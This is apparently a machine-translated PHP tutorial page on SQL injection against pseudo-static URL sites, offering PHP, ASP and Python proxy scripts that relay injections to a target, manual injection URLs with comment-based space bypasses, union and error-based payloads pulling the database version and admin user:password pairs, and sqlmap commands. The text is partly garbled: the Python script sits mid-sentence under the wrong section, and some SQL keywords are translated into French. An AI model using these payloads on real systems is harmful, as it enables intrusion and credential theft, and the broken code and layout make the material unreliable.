Maison  >  Article  >  développement back-end  >  Analyse PHP pour l'injection pseudo-statique

Analyse PHP pour l'injection pseudo-statique

不言
不言original
2018-06-21 09:39:481932parcourir

Cet article présente principalement l'injection de pseudo-statique par PHP, et résume et analyse l'injection courante de pseudo-statique en PHP sous forme d'exemples. Il est également livré avec des codes d'opération associés d'asp et de Python, qui ont une certaine valeur de référence. pour la sécurité du programme PHP. Les amis qui en ont besoin peuvent se référer à

Cet article décrit l'exemple de PHP pour l'injection pseudo-statique. Partagez-le avec tout le monde pour votre référence, les détails sont les suivants :

1 : Méthode d'injection de transit

1. www.xxx.com/news.php?id=1 est devenu comme ça après avoir créé un pseudo-statique
http://www.xxx.com/news.php/id/1.html

2 . Étapes du test :

Transférer le code php injecté : inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3. puis visitez http:// 127.0.0.1/inject.php?id=1

La vulnérabilité d'injection peut être exécutée via sqlmap ou havj.

Annexe Code de transfert ASP :

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

2. Méthode d'injection manuelle

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2 .Test d'injection :

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com/play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/et
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/et
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/et/**/1=1/* .html Normal
http://www.xxx.com/page/html/?56′/***/et/**/1=2/*.html Erreur

3. la page est correcte La différence existe, la similitude n'existe pas, la différence existe et s'injecte.

4. Requête syndicale :

http://www.xxx.com/play/diablo' et 1=2 union sélectionne 1,2… frominformation_schema.columns où 1='1. html
http://www.xxx.com/page/html/?56'/**/et/**/(SELECT/**/1/**/(sélectionner/**/depuis/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/groupe/**/a)b)=1/*.html

Méthode d'injection manuelle (2)

http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(sélectionner/**/concat(utilisateur,0x3a,mot de passe)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/par/**/where'1'='1.html

Remarque :

L'injection pseudo-statique n'est pas la même chose que l'injection GET ordinaire d'URL

. %20, %23, +, etc. injectés par get d'URL ordinaires peuvent être utilisés ; cependant, le pseudo-statique ne fonctionne pas et sera transmis directement à l'URL, utilisez donc /**

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
*/limit/*******/a)b/***/Ce symbole de commentaire Indique des espaces.

3. Méthode SQLmap

Ajouter *
http:// partout où il y a un point d'injection pseudo-statique dans sqlmap.www.cunlide.com/id1/1/id2/2
python sqlmap.py -u « http://www.xxx.com/id1/1*/id2/2″
http:/ /www .xxx.com/news/class/?103.htm
python sqlmap.py -u « http://www.xxx.com/news/class/?103*.html »

4. Méthode de script python

Code :

Ce qui précède représente l'intégralité du contenu de cet article. J'espère qu'il sera utile à l'étude de chacun. Pour plus de contenu connexe, veuillez prêter attention au site Web PHP chinois

Recommandations associées :

À propos de la statique en PHP ! Analyse de l'utilisation des variables et des variables statiques statiques

PHP implémente l'extraction du nom de domaine racine via l'URL

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn